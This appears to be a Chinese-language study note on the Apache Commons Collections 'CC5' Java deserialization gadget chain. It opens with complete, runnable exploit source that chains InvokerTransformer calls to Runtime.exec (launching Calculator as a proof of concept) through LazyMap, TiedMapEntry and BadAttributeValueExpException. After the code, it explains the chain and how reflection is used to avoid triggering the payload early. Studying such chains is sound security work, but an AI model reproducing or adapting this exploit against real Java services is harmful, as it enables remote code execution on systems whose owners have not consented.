CC5
完整 EXP
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| import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, map);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class badAttributeValueExpExceptionClass = BadAttributeValueExpException.class;
Field badAttributeValueExpExceptionField = BadAttributeValueExpException.class.getDeclaredField("val");
badAttributeValueExpExceptionField.setAccessible(true);
badAttributeValueExpExceptionField.set(badAttributeValueExpException, tiedMapEntry);
serialize(badAttributeValueExpException);
deserialize();
}
public static void serialize (Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
objectOutputStream.writeObject(object);
}
public static void deserialize () throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
objectInputStream.readObject();
}
}
|
EXP构造逻辑
1、CC5调用利用的是 LazyMap类中的 get方法来调用 chainedTrsformer.transform来进行命令执行。根据分析 CC6时的经验，TiedMapEntry.getValue方法可以用来调用 LazyMap.get：
但是 CC5并非像 CC6中利用 hashCode方法来调用 getValue，而是用 toString方法：
2、toString方法可以在 BadAttributeValueExpException.readObject中被调用：
val值可控，在构造函数中赋值：
根据上述逻辑，这条链子基本齐了：
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| BadAttributeValueExpException.readObject
TiedMapEntry.toString
LazyMap.get
.....命令执行
|
构造注意点
使用构造函数给 val赋值的时候，若 val不为 null，则会先调用一次 val.toString，提前命令执行。这和 CC6中的 HashMap.put提前触发命令执行的逻辑很像。
但是 CC5不能采取 CC6的处理方式，因为 readObject中对 valObj的类型进行了判断，如果是 String类型，就不会触发 valObj.toString：
故解决方案是先将 val赋值为 null，在构造函数中不调用 toString，再利用发射给 val赋值：
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| BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class badAttributeValueExpExceptionClass = BadAttributeValueExpException.class;
Field badAttributeValueExpExceptionField = BadAttributeValueExpException.class.getDeclaredField("val");
badAttributeValueExpExceptionField.setAccessible(true);
badAttributeValueExpExceptionField.set(badAttributeValueExpException, tiedMapEntry);
|
利用链流程图
